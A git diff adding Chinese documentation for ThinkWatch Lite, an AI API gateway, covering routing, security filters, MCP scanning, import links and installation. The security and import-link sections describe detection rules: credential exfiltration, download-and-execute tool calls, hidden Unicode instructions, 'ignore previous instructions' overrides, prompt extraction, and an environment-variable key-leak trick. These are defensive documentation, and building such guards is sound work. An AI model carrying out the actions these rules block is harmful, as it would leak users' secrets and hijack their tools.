或扩展思考。指定模型写明上游和它的某个模型,可按顺序列出备用,模型名原样发出;要让某个客户端把一个模型当另一个模型的名称使用,在这个客户端的密钥上写规则即可,不会改变这个名称对其他客户端的含义。条件写上游模型名时,也匹配列有它的别名。时段按网关所在机器的本地时间判断:选择星期与起止时刻即可,一条规则可以写多个时段,结束早于开始的为跨夜时段。设置 `max_tokens` 可以限制回答的长度:上游到达上限时自行停止,不会报错。策略组把多个上游放在同一个名字下,并决定尝试的先后:按顺序、手动选择、轮询、延迟最低优先或费用最低优先。轮询策略组的每个成员有 1 到 100 的权重,即长期分到的请求比例;「分配依据」可以在权重之上再乘以各上游的速度(首 token 时间)、稳定性(最近的成功率)或两者,进行中的对话仍留在原上游。一次尝试失败时,请求转到下一个上游;同一会话默认保持在同一个上游上,以便提示缓存持续命中。上游连续「设置 › 故障转移」中的「无响应超时」(默认 300 秒)没有发出内容时,网关放弃这个上游,保活心跳不算内容:尚未向客户端发出内容时,请求转到下一个上游,没有可用的上游时客户端收到超时错误;回答已经开始时,以错误结束。页面顶部的路由图显示每把密钥经过的路由、策略组和上游,进行中的请求各有一种颜色,沿各自的路径从密钥移向上游。 + +客户端自行发出的辅助请求(连通性检查、预热、生成标题、话题识别、输入建议)可以由网关在本地应答而不产生费用,也可以转发。转发的辅助请求和普通请求一样经过路由规则,规则可以按辅助请求的类型把它们分流到费用更低的上游。 + +每个请求都记录命中的规则、经过的策略组,以及每一次尝试的状态与耗时。试算按给定的请求条件逐条匹配规则,说明请求会交给哪个上游及其原因,不发出请求,也不产生费用。 + +## 安全 + +安全页有三项防护:出站脱敏、工具调用审查和内容过滤,对所有上游和所有密钥统一生效。每项都有三档:「关闭」「观察」,以及按作用命名的第三档,出站脱敏为「替换」,工具调用审查为「切断」,内容过滤为「处置」;其中「观察」只检测和记录,不做任何改动。三项出厂均为「观察」,因此默认不会改动或拒绝任何请求。 + +- **出站脱敏**:请求发出之前查找整个请求(含系统提示、之前的对话和工具调用)中的凭据和个人信息,包括 Anthropic、OpenAI、GitHub、Slack、AWS、Google、GitLab、Stripe、npm、DigitalOcean、SendGrid 的 API 密钥与令牌,以及私钥、JWT 和连接串中的口令,还有身份证号与银行卡号(号码结构与校验位都正确才算)。「替换」档下把它们替换为 `<>` 这样的占位符,响应中回显时再还原。邮箱地址、中国大陆手机号、内网 IP 地址和内网域名四条规则出厂为停用,可以按需启用;自定义规则可以指定占位符名称,如 `PROJECT` 替换为 `<>`。 +- **工具调用审查**:检查模型返回的工具调用中是否含有下载或解码后执行代码、外发环境变量或凭据文件、把凭据发往本机和其服务商以外的主机、读取私钥或云服务凭据、读写 ThinkWatch 自己的数据目录、写入启动项或定时任务等命令。只出现在要写入的文字里的路径(例如提到这个目录的文档)不算。「切断」档下命中即切断响应,客户端收不到一个完整、可执行的调用。删除主目录或根目录、设置全员可写权限、把本地文件上传到外部主机三条规则出厂只记录。 +- **内容过滤**:检查每个请求中的用户消息和工具结果,压缩上下文的请求也在其内。规则按关键词、正则表达式或码位(如 `U+E0000–U+E007F`)匹配,「处置」档下按规则拒绝请求、删除命中的文字后发出,或仅记录。内置规则删除 Unicode 标签字符和双向控制符(人看不见、模型读得到,可用于隐藏指令),拒绝明确要求「忽略先前指令」的请求。零宽字符、私用区字符两条规则(表情符号、波斯文和图标字体也会用到这些字符),以及越狱、身份操纵、套取提示词等规则及其中文版本出厂为停用,可以按需启用。 + +安全页列出全部规则,内置规则按类别分组。内置规则可以逐条启用或停用;工具调用审查的内置规则可以设为切断或仅记录,内容过滤的内置规则可以设为拒绝、删除或仅记录。自定义规则为正则表达式,内容过滤也可以使用关键词或码位。任何规则都可以先用一段文本测试,出站脱敏和内容过滤的测试还会显示发出时的文本。各项防护检出的内容都记入第一个标签页的日志,并注明所属的请求;隐藏字符拼出文字时,日志中一并显示这段文字。 + +日志中的记录可以在原处展开。展开后列出规则命中的每一处,最多 50 处,其余注明处数:所在的部分(系统提示、第几条消息及其角色、工具调用或工具结果及工具名称、回答正文)、JSON 路径,以及前后各最多 80 个字符的上下文,其中的凭据以掩码显示。展开的内容给出命中时的规则:自定义规则的写法,或内置规则的名称及作出判定的 core 版本,因此规则修改或删除之后,记录仍然可读。展开的内容还写明具体的处置:凭据替换成的占位符,被切断的工具调用及客户端收到的提示,请求被拒绝时客户端收到的回复,或删除了几处命中的内容。所属的会话,以及与客户端请求的模型不同时实际发往上游的模型,也一并列出。请求时间线中的防护记录以同样的方式展开。「导出」把所选区间内的全部记录保存为 JSON(完整细节)或 CSV(每条一行)。日志的保留期限与请求记录相同,防护设置的改动不记入日志。 + +各项防护作用于经过网关的请求和回答,不作用于磁盘上的文件。配置文件以明文保存密钥,只有所有者可读:挡得住其他用户,挡不住以同一用户身份运行的程序;出站脱敏保护的是带出本机的内容,不是这份文件。 + +## MCP + +MCP 页管理客户端从自己的配置文件中加载的内容,这些内容不经过网关。 + +- **服务器**:并排列出 Claude Code、Claude Desktop、Cursor、Codex、opencode、Antigravity CLI、Zed、Pi、oh-my-pi、Grok Build、Qwen Code、Hermes Agent 与 DeepSeek Harness 配置的 MCP 服务器。可以把一个服务器从一个客户端复制到另一个客户端,或从某个客户端移除;写入前先显示改动,并备份原文件。复制与移除支持 Claude Code、Claude Desktop、Cursor 与 Codex,其余客户端只列出、不写入。位于其他主机的远程服务器标为「第三方」,使用它会把相关上下文发送到该地址;同名服务器在各客户端中配置不同时标为「配置不一致」,可以并排比较。 +- **技能与钩子**:列出已安装的技能和配置的钩子,以及各自所属的客户端;共用的 `~/.agents/skills` 目录中的技能单独标为共用目录。 +- **发现**:扫描客户端配置、技能、钩子、斜杠命令、subagent 与项目指令文件,检查隐藏字符、提示注入、危险命令与过宽权限四类问题,每项发现按高、中、低分级。扫描只报告,不修改任何文件。 + +应用运行期间会监视这些文件,出现新的发现时发送系统通知。文件被编辑后只报告新出现的发现,原有的发现即使换了行号也不再重复报告。 + +## 插件 + +插件是简短的 JavaScript 文件,在请求发往上游之前改写请求、在回答交给客户端之前改写回答,例如要求用指定的语言回答、在 WSL 与 Windows 之间转换工具调用里的路径。插件在路由之后、于 core 内部的沙箱中运行,没有网络和文件,两次请求之间不留任何数据;看到的是占位符而不是请求里的密钥,改动之后照常经过各项防护。应用自带两个插件,出厂均为关闭。每个插件是一个文件,适用范围、出错时的处理方式和设置项也写在其中;编辑器分为「设置」与「代码」两页,「设置」页的更改写回文件,添加插件时打开的也是同一个编辑器。日常的更改直接保存,只有能改动工具调用的插件,安装、打开、更改代码和确认文件变更才要在系统对话框中确认。文件在应用之外被改动后,插件停止运行,确认新版本后恢复。插件页列出每个插件的状态、权限、适用范围与统计,提供用最近一条请求试运行和日志;被插件改动过的请求在「流量」页带有标记。接口、权限、限额与安全模型见[插件](/zh-CN/docs/lite/plugins)。 + +## 设置 + +设置页分为七节。「连接」列出本机 core 和已保存的远程 core,详见[连接远程 core](/zh-CN/docs/lite/remote-core)。「通用」设置语言、外观、菜单栏显示的内容(仅 macOS,也可设为不显示)、开机启动、提醒以系统通知发送、仅在应用内显示还是关闭,并可让设为不再显示的引导提示和忽略过的提醒重新显示。「网关监听」设置网关的访问范围(仅本机、所选网卡所在的局域网或所有网卡)、端口和放行网段。「故障转移」设置上游失败后暂停多久、请求交给下一个上游:连续失败几次后暂停、暂停多长,以及余额不足、额度用完和限流时各自的暂停时长;还设置无响应超时,即上游多久没有发出内容即被放弃(默认 300 秒,可设 30 到 3,600 秒),以及上游并发已满或密钥的分钟、小时上限用满时请求合计最多等待的时长(默认 30 秒)。「日志保留」分别设置请求报文与请求记录的保留天数,以及报文的空间上限;安全日志随请求记录一同过期。「关于」显示版本、检查更新,并可生成诊断包,其中的密钥与地址均已脱敏。「卸载」还原所有已接管的客户端并取消开机启动,应在删除应用之前执行。 + +## 菜单栏、系统托盘与通知 + +macOS 菜单栏显示今日 token 与今日费用,费用只写数值、不带「≥」「~」记号,与 token 数一样简短($41.20);点开的菜单中仍会标出含估算或只是下限的费用。订阅额度紧张或用完时,菜单栏项不变色,只在点开的菜单中把对应的额度行标为橙色或红色;网关未运行时标识带有红色标记。「设置 › 通用」中的「菜单栏」可以改为仅标识或仅数值,也可以选「不显示」,菜单栏中不再出现该项:网关照常在后台运行,开机启动时也是如此;从访达或聚焦搜索再次打开 ThinkWatch Lite,即显示主窗口。 + +点开是原生菜单。第一项始终是「打开主界面」,其后是未读的提醒和「今日」一栏:今日 token 以大字显示,下方一行为请求数、失败数与费用,旁边是按小时统计 token 的小图。这一栏的顶行显示网关状态、连接远程 core 时的服务器名称,以及最近一分钟的生成速度。再往下,上游报告的每个额度窗口各占一行,显示已用比例与重置时间(订阅账号与 GLM Coding Plan 上游;积分制套餐在额度条下方显示剩余积分),然后是进行中的请求。最后是常用操作:切换手动选择策略组中的上游、复制网关地址(菜单项右侧显示该地址)和默认密钥、有新版本时安装新版本、设置、切换连接、检查更新,不必先打开主界面。 + +网关未运行时,「打开主界面」之后是网关状态与原因,以及重新启动网关(远程 core 无法连接时为立即重试)和查看原因两项。 + +Windows 上图标位于通知区域:悬停显示网关状态与今日 token、费用;左键打开主界面,右键打开同一份菜单,其中的「今日」一栏与额度条改为文字。 + +Linux 上图标位于系统托盘:点击打开同一份菜单,「今日」一栏与额度条同样改为文字;第一项「打开主界面」用于打开主窗口。 + +以下情况会发送系统通知(macOS 与 Windows 使用原生通知,Linux 通过桌面环境的通知服务):网关停止转发或反复重启、与远程 core 的连接断开、订阅额度用完、账号登录失效或上游拒绝当前凭据、代理不通、配置文件未通过校验、工具调用命中切断类规则、密钥的每日、每周或每月用量接近或达到上限、客户端配置中出现可疑内容。自动检查到新版本时,也会以灰色列入提醒,并同样以系统通知告知(见[更新](/zh-CN/docs/lite/install#更新))。上游无法连接时通常由回退上游承接,因此只记录在应用内。提醒可以整体设为系统通知、仅在应用内显示或关闭。标为已读的提醒不再计入铃铛上的数字,但在问题解决或清空列表之前仍留在列表中。 diff --git a/src/content/docs-lite/zh-CN/import-links.md b/src/content/docs-lite/zh-CN/import-links.md new file mode 100644 index 0000000..54011d4 --- /dev/null +++ b/src/content/docs-lite/zh-CN/import-links.md @@ -0,0 +1,218 @@ +# 导入链接 + +ThinkWatch Lite 支持通过链接打开预填好设置的「新建上游」对话框。中转站、模型服务商或 ThinkWatch 企业版控制台可以把这样的链接放在控制台或开通通知中;用户打开链接后,在手动添加上游时所用的同一个对话框中核对设置,点几下即可创建上游。 + +本页面向中转站与服务商的运营人员,说明链接的两种形式、按对话框分组的参数、各服务类型接受哪些参数、编码方式,以及链接刻意不能设置的内容。页面末尾附有链接生成器。 + +`name`、`url`、`protocol`、`key`、`models` 以外的参数需要 ThinkWatch Lite 2026.10.16 或更高版本。只用这五个参数的链接在更早的版本中同样可以打开,为更早版本编写的链接全部继续有效。 + +## 链接形式 + +两种形式携带相同的参数。 + +| 形式 | 说明 | +|---|---| +| `thinkwatch://import?…` | 直接打开应用。浏览器在把链接交给应用之前会先请求许可。也接受 `thinkwatch://import/?…`。 | +| `https://thinkwat.ch/import#…` | 一个网页:显示接收请求的主机与将要导入的设置,通过按钮打开应用,未安装应用时提供下载。参数位于 `#` 之后的片段中,浏览器不会把片段发送给任何服务器。该页面不加载统计或第三方脚本,读取参数后会从地址栏中移除片段。 | + +网页形式适合用于邮件和控制台,因为收件人可能尚未安装应用。网页按与应用相同的规则校验参数,校验不通过的链接不显示任何内容。 + +## 参数 + +只有在「新建上游」对话框针对所选服务类型与认证方式显示相应栏位时,链接才能设置该参数。对话框自行填写的值,例如官方服务的地址或服务唯一使用的协议,链接可以重复写出,但不能改为其他值。各服务类型接受哪些参数见[按服务类型](#按服务类型)。 + +### 服务类型 + +| 参数 | 取值 | +|---|---| +| `service` | `anthropic`、`openai`、`gemini`、`deepseek`、`zai`、`bedrock`、`openrouter`、`thinkwatch`(ThinkWatch 企业网关)、`sub2api`、`newapi`(New API / One API)、`ollama` 或 `custom`。省略时由应用按 `url` 识别,与编辑对话框的识别方式相同:官方地址按主机识别,标准 Bedrock 地址识别为 Bedrock,端口 11434 识别为 Ollama,其余地址一律为 `custom`。链接中有参数不适用于识别出的服务类型时,按 `custom` 处理,自定义上游接受全部参数。明确写出的 `service` 不会被改变。 | +| `auth` | `key`(默认)、`oauth`、`account` 或 `aws-keys`,须为该服务类型提供的认证方式。`openai` 的 `account` 是 ChatGPT 账号,`zai` 的 `account` 是账号登录。 | +| `site` | `bigmodel`(中国大陆)或 `zai`(国际),仅用于 `zai`。省略时按 `url` 确定,没有 `url` 时为 `bigmodel`。 | + +### 连接 + +| 参数 | 取值 | +|---|---| +| `name` | 上游在应用中的名称。省略时由应用按服务类型或地址生成。 | +| `url` | 服务的 Base URL,不含 `/chat/completions`、`/messages` 等接口路径。须为 `https://`,本机与内网地址也可以使用 `http://`(见下文)。不得包含用户名或密码、查询串或片段。`custom`、`thinkwatch`、`sub2api`、`newapi` 必须提供;Bedrock 可选(VPC 端点等),Ollama 可选(其他机器);自带地址的服务只接受该地址。`auth=account` 时不接受。 | +| `protocol` | `anthropic`、`openai-chat`、`openai-responses` 或 `gemini`,仅用于对话框提供选择的服务类型。省略时由应用按地址识别。 | +| `region` | AWS 区域,例如 `eu-west-1`,仅用于 Bedrock。没有 `url` 时,按该区域生成标准地址;`url` 为标准地址时,须与其中的区域一致;`url` 为其他地址时,它是签名所用的区域,须配合 `auth=aws-keys`。 | +| `key` | API 密钥,按原样保存(Bedrock 为 Bedrock API 密钥)。配合 `auth=key`。Ollama 没有密钥栏位。 | +| `oauth_endpoint` | Token 端点,规则与 `url` 相同,通常带路径。`auth=oauth` 时必须提供。主机与接口地址不同时,应用会同时列出两个主机。 | +| `oauth_refresh` | Refresh Token。`auth=oauth` 时必须提供。 | +| `oauth_client_id` | Client ID,配合 `auth=oauth`,可选。 | +| `oauth_client_secret` | Client Secret,配合 `auth=oauth`,可选。 | +| `aws_access_key_id` | 访问密钥 ID,配合 `service=bedrock` 与 `auth=aws-keys`,此时必须提供。 | +| `aws_secret_access_key` | 私有访问密钥。`auth=aws-keys` 时必须提供。 | +| `aws_session_token` | 临时凭证的会话令牌,配合 `auth=aws-keys`,可选。 | + +`url` 与 `oauth_endpoint` 指向本机或内网时也接受 `http://`,例如部署在公司内网的企业网关。主机须为 `localhost`、`127.0.0.1` 或 `[::1]`;`10.0.0.0/8`、`172.16.0.0/12`、`192.168.0.0/16`、`100.64.0.0/10`、`169.254.0.0/16` 内的 IPv4 地址;`fc00::/7`、`fe80::/10` 内的 IPv6 地址;不含点的主机名;或以 `.local`、`.lan`、`.internal`、`.intranet`、`.corp`、`.home.arpa`、`.localhost` 结尾的主机名。其他 `http://` 地址一律拒绝。本机以外的 `http://` 地址,对话框与网页会在主机下方写明密钥和请求内容以明文传输。 + +### 高级设置 + +| 参数 | 取值 | +|---|---| +| `headers` | 额外的请求头,每行一个 `名称: 值`,编码方式见[编码](#编码)。`auth=account` 时不接受。 | +| `client_identity` | `on` 表示开启「转发客户端身份」,用于只接受特定客户端的中转站。仅用于 Sub2API、New API 与自定义上游。 | +| `concurrency` | 并发上限:1 到 1000 之间的整数,不带正负号,不以 0 开头。`auth=account` 时不接受。 | +| `balance` | 余额的读取来源:`off`、`openrouter`、`deepseek`、`moonshot`、`sub2api`、`newapi` 或 `thinkwatch`。省略时自动识别。仅用于自定义上游,其他服务类型自行决定来源。 | + +### 模型 + +| 参数 | 取值 | +|---|---| +| `models` | 以逗号分隔的模型 ID,作为手动添加的模型写入上游。应用把它们与服务自己列出的模型一起使用,只列出部分模型的服务可以在这里写上其余的模型;服务不提供模型列表时,它们就是全部模型。重复的 ID 只保留一个。 | +| `models_only` | 以逗号分隔的模型 ID 或含 `*`、`?` 的通配规则。启用范围设为「指定模型」,只包含这些模型。 | +| `specs` | 模型规格,各项以 `;` 分隔,每项为 `model\|context\|max_output\|reasoning\|image`。上游创建之后,为最终模型列表中的模型保存。既不在 `models` 中、也不在上游模型列表中的模型,其规格不会保存,「模型」一步会写明。 | + +### 计费 + +| 参数 | 取值 | +|---|---| +| `billing` | `per-token`(按量计费)或 `free`(不计费)。省略时使用服务类型的默认值:Ollama 不计费,其他按量计费。 | +| `price_multiplier` | 新价目表的倍率,大于 0、不超过 100,例如 `0.8`。不计费时不接受。 | +| `prices` | 新价目表中的模型价格覆盖,各项以 `;` 分隔,每项为 `model\|input\|output\|cache_read\|cache_write_5m\|cache_write_1h`。不计费时不接受。 | + +链接含有 `price_multiplier` 或 `prices` 时,「计费」一步预先选中一张与上游同名的新价目表,倍率取自链接(省略时为 1),模型覆盖取自 `prices`。这张价目表可以像其他新建的价目表一样修改,在选择「创建」时与上游一同创建。同名的价目表已存在时,对话框会要求改用其他名称,与上游名称被占用时的处理相同。 + +## 按服务类型 + +| 服务类型 | `service` | `auth` | 地址 | 接口协议 | +|---|---|---|---|---| +| Anthropic | `anthropic` | `key` | `https://api.anthropic.com` | `anthropic` | +| OpenAI | `openai` | `key`、`account`(ChatGPT 账号) | `https://api.openai.com` | `openai-chat`(默认)或 `openai-responses` | +| Google Gemini | `gemini` | `key` | `https://generativelanguage.googleapis.com` | `gemini` | +| DeepSeek | `deepseek` | `key` | `https://api.deepseek.com/anthropic` | `anthropic` | +| Z.ai / BigModel | `zai` | `key`、`account` | 按 `site` 为 `https://open.bigmodel.cn/api/anthropic` 或 `https://api.z.ai/api/anthropic` | `anthropic` | +| Amazon Bedrock | `bedrock` | `key`(Bedrock API 密钥)、`aws-keys` | `region` 的标准地址,或 `url` 中的端点 | 链接不能设置 | +| OpenRouter | `openrouter` | `key` | `https://openrouter.ai/api` | `openai-chat` | +| ThinkWatch 企业版 | `thinkwatch` | `key` | `url`,必须提供 | 链接不能设置;企业网关接受各客户端自己的格式 | +| Sub2API | `sub2api` | `key` | `url`,必须提供 | 任一协议,或自动识别 | +| New API / One API | `newapi` | `key` | `url`,必须提供 | 任一协议,或自动识别 | +| Ollama | `ollama` | `key`,没有密钥栏位 | `http://127.0.0.1:11434`,或 `url` 中的其他地址 | `openai-chat` | +| 自定义 | `custom` | `key`、`oauth` | `url`,必须提供 | 任一协议,或自动识别 | + +`headers` 与 `concurrency` 适用于账号登录以外的所有服务类型;`client_identity` 适用于 Sub2API、New API 与自定义上游;`balance` 只适用于自定义上游。「模型」与「计费」两组参数适用于所有服务类型,包括账号登录。 + +`auth=account` 的链接不含任何凭据,登录在应用中进行。这样的链接只接受 `service`、`auth`、`site`、`name` 以及「模型」与「计费」两组参数。 + +## 编码 + +- 每个值都要经过百分号编码,例如使用 `encodeURIComponent`,应用只解码一次。未编码的 `+` 表示空格,因此含 `+` 的密钥应写作 `%2B`。 +- 每个参数最多出现一次,值为空的参数一律拒绝。 +- 任何值都不得包含 `$`、`{`、`}`、控制字符或不可见字符。应用会从用户的环境变量中读取 `${NAME}`,这些字符可能让应用把本机的机密发往链接所指的主机。 +- 任一值不符合规则时,整条链接作废。应用只记录原因,不记录内容。 + +列表与条目: + +| 参数 | 编码 | 示例值(百分号编码之前) | +|---|---|---| +| `models` | 以 `,` 分隔的模型 ID;只含字母、数字与 `- _ . : / @ +` | `glm-5,glm-5-air` | +| `models_only` | 同 `models`,通配规则另可使用 `*` 与 `?` | `claude-*,gpt-5` | +| `headers` | 以换行符(`%0A`)分隔的多行,每行为 `名称: 值` | `X-Relay-Group: pro`、换行、`X-Relay-Region: hk` | +| `specs` | 以 `;` 分隔的多项,每项为 `model\|context\|max_output\|reasoning\|image` | `glm-5-air\|128000\|96000\|y\|n` | +| `prices` | 以 `;` 分隔的多项,每项为 `model\|input\|output\|cache_read\|cache_write_5m\|cache_write_1h` | `glm-5\|1\|3.2\|0.2` | + +`headers` 中,名称只能使用 HTTP 的 token 字符(字母、数字与 `` ! # % & ' * + - . ^ _ ` | ~ ``),值为可打印 ASCII 字符,首尾空白会被去除。名称不得重复(不区分大小写)。携带凭据或由网关自行写入的请求头一律拒绝:`Authorization`、`Proxy-Authorization`、`X-Api-Key`、`X-Goog-Api-Key`、`Api-Key`、`Cookie`、`Host`、`Content-Length`、`Content-Type`、`Content-Encoding`、`Transfer-Encoding`、`Connection`、`Keep-Alive`、`Upgrade`、`TE`、`Trailer`、`User-Agent`,以及以 `Proxy-` 或 `Sec-` 开头的名称。 + +`specs` 中,`context` 与 `max_output` 为 1 到 10,000,000 之间的 token 数,`reasoning` 与 `image` 为 `y` 或 `n`。四项都可以留空,但不能全部留空。 + +`prices` 中,各单价以美元 / 百万 tokens 计,整数部分与小数部分各最多 6 位。`input` 与 `output` 必须填写;缓存单价留空或省略时,等于输入单价。 + +长度与字符限制: + +| 项目 | 限制 | +|---|---| +| 整条链接 | 8192 个字符 | +| `name` | 64 个字符;首尾无空白;不含 `/`、`\`、`$`、`{`、`}`、`<`、`>`、`"` 与反引号;不能是 `.` 或 `..`;不以 `__` 开头 | +| `url`、`oauth_endpoint` | 2048 个字符 | +| `key`、`oauth_client_id`、`oauth_client_secret`、`aws_secret_access_key` | 512 个字符;只含字母、数字与 `- _ . ~ + / = :` | +| `oauth_refresh`、`aws_session_token` | 4096 个字符;字符范围与 `key` 相同 | +| `aws_access_key_id` | 16 到 128 个大写字母与数字 | +| `region` | 32 个字符;只含小写字母、数字与 `-` | +| `headers` | 最多 16 行;名称最长 64 个字符,值最长 1024 个字符 | +| `models`、`models_only`、`specs`、`prices` | 各最多 64 项;模型 ID 最长 128 个字符;`specs` 与 `prices` 中同一模型只能出现一次 | + +## 应用如何处理链接 + +1. **校验链接。**本页的规则全部在应用中执行,与生成链接的页面做过哪些校验无关。 +2. **打开预填好的「新建上游」对话框。**对话框直接停在第二步「连接」,账号登录时为「账号」。步骤条下方的一行说明写明接收请求与密钥的主机,Token 端点的主机不同时一并写明。主机以 ASCII 显示:国际化域名显示为 punycode(`xn--…`),外形相近的域名无法冒充熟悉的域名。所有值都可以修改;退回第一步改选其他服务类型时,新服务类型不接受的值会被舍弃。 +3. **用户操作之前不写入、不发送。**在第二步选择「下一步」(此时检测连接)或开始登录之前,应用不写入配置,也不向外发出任何请求。 +4. **只创建一个新的上游。**导入不会修改、替换或删除已有的上游,不会把新上游设为默认,也不会把它加入任何路由。名称已被使用时,对话框会要求改用其他名称。同一地址上使用不同密钥的多个上游属于正常用法。 +5. **一次只处理一条链接。**对话框打开期间到达的链接会被忽略。已有「新建上游」或「编辑上游」对话框打开时,到达的链接会被舍弃,正在填写的表单不会被替换。 + +## 较新版本的链接 + +已安装的应用不认识某个参数时,不再静默忽略:应用显示「无法导入这条链接」,写明该参数;有可用更新时,提供安装更新的按钮。网页形式的处理相同:列出能识别的设置,说明需要更新版本的 ThinkWatch Lite,并仍然提供打开链接的按钮。参数名只在由最多 32 个小写字母、数字与下划线组成时才会显示。 + +## 链接不能设置的内容 + +任何网页都能打开链接,因此链接只包含用户在对话框中能够判断的内容。链接试图设置以下任一项时,整条链接作废。 + +| 不接受 | 原因 | +|---|---| +| 出站代理,以及代理不可用时的处理方式 | 链接的提供方不了解用户的网络环境,这两项由用户在对话框中选择。 | +| AWS profile 与环境变量引用(`${NAME}`) | 它们会让应用读取本机的凭据或环境变量,再发往链接所指的主机。一条 `key=${OPENAI_API_KEY}` 的链接会把用户自己的密钥发送给中转站。 | +| 模型别名、路由、默认上游与路由权重 | 它们会改变已配置客户端的流量去向。 | +| 停用开关,以及仅用于检测的 Access Token | 新上游创建后即为启用状态,Access Token 由 Refresh Token 换取。 | +| 账号登录的凭据 | 登录在应用中与服务直接进行。 | +| 鉴权、Cookie 与连接相关的请求头 | 请求头不得取代密钥,也不得改变网关发出的身份。 | +| 指向公网主机的 `http://` | 密钥将以明文经过互联网传输。本机与内网地址接受 `http://`,并标明不加密。 | +| MCP 服务与客户端配置 | 它们会执行命令或修改其他应用的设置。 | +| 图标等展示内容 | 连接不需要它们,且可被用于仿冒熟悉的服务。 | + +这些设置可以在上游创建之后在应用中修改。 + +## 示例 + +需要两个请求头、并发上限为 4、只列出部分模型、按公开价格的 0.8 倍计费并覆盖一个模型价格的中转站(省略 `service`:该地址识别为自定义上游): + +```text +thinkwatch://import?name=example-relay&url=https%3A%2F%2Fapi.relay.example%2Fv1&protocol=openai-chat&key=sk-relay-EXAMPLE&headers=X-Relay-Group%3A%20pro%0AX-Relay-Region%3A%20hk&concurrency=4&models=glm-5%2Cglm-5-air&specs=glm-5-air%7C128000%7C96000%7Cy%7Cn&price_multiplier=0.8&prices=glm-5%7C1%7C3.2%7C0.2 +``` + +同一条链接的网页形式: + +```text +https://thinkwat.ch/import#name=example-relay&url=https%3A%2F%2Fapi.relay.example%2Fv1&protocol=openai-chat&key=sk-relay-EXAMPLE&headers=X-Relay-Group%3A%20pro%0AX-Relay-Region%3A%20hk&concurrency=4&models=glm-5%2Cglm-5-air&specs=glm-5-air%7C128000%7C96000%7Cy%7Cn&price_multiplier=0.8&prices=glm-5%7C1%7C3.2%7C0.2 +``` + +使用访问密钥的 Amazon Bedrock,区域为 `eu-west-1`: + +```text +thinkwatch://import?service=bedrock&auth=aws-keys®ion=eu-west-1&aws_access_key_id=AKIAIOSFODNN7EXAMPLE&aws_secret_access_key=wJalrXUtnFEMI%2FK7MDENG%2FbPxRfiCYEXAMPLEKEY +``` + +ThinkWatch 企业网关。ThinkWatch 企业版控制台中的「添加到 ThinkWatch Lite」按钮会用网关地址与新密钥写出这样的链接: + +```text +thinkwatch://import?service=thinkwatch&name=thinkwatch&url=https%3A%2F%2Fai.example.com&key=tw-EXAMPLE +``` + +ChatGPT 账号。链接打开登录界面,不含任何凭据: + +```text +thinkwatch://import?service=openai&auth=account&name=chatgpt +``` + +为更早版本编写、仍然有效的链接: + +```text +thinkwatch://import?name=example-relay&url=https%3A%2F%2Fapi.relay.example&protocol=anthropic&key=sk-relay-EXAMPLE +``` + +即使识别出的服务类型不接受,为更早版本编写的链接仍然有效:例如官方地址带有其他路径(`https://api.openai.com/v1`)、Ollama 地址带有 `key`,或 `https://api.deepseek.com` 配合 `protocol=openai-chat`。这样的链接与以前一样创建为自定义上游。 + +## 在 New API 站点上 + +New API 或 One API 站点不用改代码,就能为每一把密钥提供 ThinkWatch Lite。在站点的系统设置中添加一个聊天预设,名称为 ThinkWatch Lite,地址为: + +```text +thinkwatch://import?service=newapi&url={address}&key={key} +``` + +站点会填入自己的服务器地址和这一行的密钥,每把密钥的聊天菜单中随之出现这一项。打开它需要 ThinkWatch Lite 2026.10.16 或更新版本;版本更早或没有安装应用时,点击没有反应。 + +## 链接中的密钥 + +含有密钥、Refresh Token 或私有访问密钥的链接本身就是凭据。应为每位客户单独生成链接,并通过私密渠道提供,例如客户自己的控制台。不含密钥的链接会让密钥栏位留空,由用户在对话框中填写。 diff --git a/src/content/docs-lite/zh-CN/install.md b/src/content/docs-lite/zh-CN/install.md new file mode 100644 index 0000000..35818f5 --- /dev/null +++ b/src/content/docs-lite/zh-CN/install.md @@ -0,0 +1,105 @@ +# 安装与更新 + +ThinkWatch Lite 支持 macOS 12 及以上(Apple silicon)、Windows 10 21H2 及以上(x64、ARM64)和 Linux(x86_64、aarch64)。网关 ThinkWatch Core 随应用一同安装,无需另行安装其他组件。 + +## macOS:Homebrew + +```bash +brew install --cask thinkwatchproject/tap/thinkwatch-lite +``` + +cask 位于 [thinkwatchproject/tap](https://github.com/ThinkWatchProject/homebrew-tap)。除了把应用从磁盘映像复制到「应用程序」,它只多做一件事:移除隔离属性。 + +## macOS:磁盘映像 + +从 [最新版本的 release 页面](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest)下载 `ThinkWatch-Lite-<版本>-darwin-arm64.dmg`,与同页发布的 sha256 校验值核对后打开,把 ThinkWatch Lite 拖入「应用程序」。 + +应用**未经 Apple 注册开发者签名**,macOS 会为下载的副本添加隔离属性并拒绝打开,需先移除该属性: + +```bash +xattr -dr com.apple.quarantine "/Applications/ThinkWatch Lite.app" +``` + +不使用终端时:首次打开被拒绝之后,在「系统设置 › 隐私与安全性」中点击「仍要打开」。 + +## Windows:安装程序 + +从 [最新版本的 release 页面](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest)下载与本机架构对应的安装程序:大多数电脑用 `ThinkWatch-Lite-<版本>-windows-x64-setup.exe`,ARM 处理器的电脑用 `ThinkWatch-Lite-<版本>-windows-arm64-setup.exe`。[Lite 页面](/zh-CN/lite#install)提供最新版本两个安装程序的下载链接。下载后与同页发布的 sha256 校验值核对: + +```powershell +Get-FileHash .\ThinkWatch-Lite-<版本>-windows-x64-setup.exe +``` + +安装程序为所有用户安装,装入 Program Files,因此 Windows 会请求管理员权限。需要 Windows 10 21H2 及以上版本;缺少 WebView2 时安装程序会自动下载(Windows 11 已自带)。 + +安装程序**未经代码签名**,项目也不会购买证书。运行下载的安装程序时,SmartScreen 会显示全屏的蓝色警告「Windows 已保护你的电脑」,依次点击「更多信息」→「仍要运行」即可继续安装。 + +安装后应用图标位于通知区域:左键打开主界面,右键打开菜单。数据保存在 `%APPDATA%\ThinkWatch`。 + +通过系统卸载时,卸载程序先关闭 ThinkWatch Lite,还原已接管的客户端,移除指向它的 `thinkwatch://` 链接、开机启动项与系统通知登记。勾选「同时删除数据(配置、API 密钥、请求记录)」时一并删除 `%APPDATA%\ThinkWatch`;有客户端未能还原时数据目录保留,它的备份仍在其中。卸载程序以管理员身份运行:标准账户输入管理员密码卸载时,还原与删除的是管理员账户的客户端和数据,这种情况应先在「设置 › 完全卸载」中卸载。 + +## Windows:绿色版 + +绿色版无需安装,也不需要管理员权限。从 [最新版本的 release 页面](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest)下载 `ThinkWatch-Lite-<版本>-windows-x64-portable.zip`(ARM 处理器的电脑用 